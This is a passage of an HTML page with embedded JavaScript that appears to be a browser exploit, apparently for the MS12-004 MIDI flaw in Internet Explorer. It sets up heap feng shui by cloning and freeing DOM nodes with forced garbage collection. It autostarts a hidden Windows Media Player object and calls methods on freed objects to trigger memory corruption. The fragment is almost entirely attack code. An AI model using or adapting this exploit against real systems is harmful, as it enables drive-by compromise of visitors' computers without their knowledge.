selob.w55 = alert

      var clones = new Array(1000);

      function feng_shui() {
        heap.gc();

        var i = 0;
        while (i < 1000) {
          clones[i] = selob.cloneNode(true)
          i = i + 1;
        }

        var j = 0;
        while (j < 1000) {
          delete clones[j];
          CollectGarbage();
          j  = j + 2;
        }
      }

      feng_shui();

      
    function trigger(){
      var k = 999;
      while (k > 0) {
        if (typeof(clones[k].w0) == "string") {
        } else {
          clones[k].w0('come on!');
        }
        k = k - 2;
      }
      feng_shui();
      document.audio.Play();
    }
    

    </script>
    <script for=audio event=PlayStateChange(oldState,newState)>
      if (oldState == 3 && newState == 0) {
        trigger();
      }
    </script>
    </head>
    <body>
      <object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
        <param name="fileName" value="ie_ms12_004_midi.mid">
        <param name="SendPlayStateChangeEvents" value="true">
        <param NAME="AutoStart" value="True">
        <param name="uiMode" value="mini">
        <param name="Volume" value="-300">
      </object>
    </body>
    </html>
    
